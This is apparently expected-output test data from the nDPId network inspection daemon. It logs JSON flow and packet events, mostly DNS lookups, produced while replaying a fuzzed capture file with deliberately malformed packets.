+00493{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470250,"pkt_ts_usec":807372,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cs0AR55waP2AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyhGFycGEAAAwAAcAMAAwAJXMAJxAAawlsb2NhbGhvc3QA"} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":334,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1120470250807,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2765,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":336,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1120470250906,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.172","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470250,"pkt_ts_usec":906414,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIas4AAIARTIPAqAGswKgBAQrOADUANK35e\/0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":336,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1120470250906,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.172","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":337,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1120470251907,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470251,"pkt_ts_usec":907970,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIassAAIARTILAqAECwKgBAQrOADUANK35e\/0BAAABAAAAJXMABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00468{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470253,"pkt_ts_usec":909994,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIatAAAIARTIHAqAECwKgBAQrOADUANK35e\/0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZTBjaXR5AmRrAAAhAAE="} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470255,"pkt_ts_usec":912874,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":339,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1120470259918,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":14798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470259,"pkt_ts_usec":918614,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIatkAAIQRTHjAqAECwKgBATnOADUANK35e\/0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhABE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":343,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1120470259918,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":14798,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1120470259918,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":14798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1120470250807,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2765,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1120470250805,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.110","dst_ip":"192.168.1.1","src_port":2765,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1120470250906,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.172","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1120470267920,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2767,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470267,"pkt_ts_usec":920560,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEatoAAIARTHvAqAECwKgBAQrPADUAMGzyt\/0AAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":344,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1120470267920,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2767,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":129,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470267,"pkt_ts_usec":922044,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cs8AR09ueP2AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAAC1Bsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":345,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":2,"flow_first_seen":1120470267920,"flow_last_seen":1120470267922,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2767,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1120470267925,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470267,"pkt_ts_usec":925643,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIatwAAIARTHXAqAECwKgBAQrQADUANDb28v4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1120470267925,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":350,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470268,"pkt_ts_usec":921628,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAGhIat4AAIARTHPAqAECwKgBAQrQADUANDb28v4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":350,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1120470270925,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":35536,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470270,"pkt_ts_usec":925077,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIat8AAIARTHLAqAECwKgBAYrQADUANDb28v4BAAABwwAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":352,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1120470272927,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"94.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":4,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470272,"pkt_ts_usec":927556,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIauAAAIARTHFeqAECwKgBAQrQAAQANDb28v4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470276,"pkt_ts_usec":933108,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIauEAAIARTHDAqAECwKgBAQrQADUANDb28v4BALIBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":353,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":2,"flow_first_seen":1120470267925,"flow_last_seen":1120470276933,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00497{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1120470272927,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"94.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":4,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1120470272927,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"94.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":4,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1120469664171,"flow_last_seen":1120469680185,"flow_tot_l4_data_len":204,"flow_min_l4_data_len":48,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2722,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00659{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1120470270925,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":35536,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1120470270925,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":35536,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1120470284935,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2769,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470284,"pkt_ts_usec":935173,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEauIAAIARTHPAqAECwKgBAQrRADUAMPnuKv8AAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":354,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1120470284935,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2769,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":355,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1120470284936,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":117,"dst_port":2769,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470284,"pkt_ts_usec":936670,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW4FADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgB1CtEARyVzAP+AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":356,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470284,"pkt_ts_usec":937812,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAAhauMAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":356,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":13} +00670{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":3,"flow_first_seen":1120469681446,"flow_last_seen":1120469689458,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":3,"flow_first_seen":1120469681446,"flow_last_seen":1120469689458,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2724,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":2,"flow_first_seen":1120469697460,"flow_last_seen":1120469697462,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2725,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1120470284935,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2769,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1120470284936,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":117,"dst_port":2769,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} 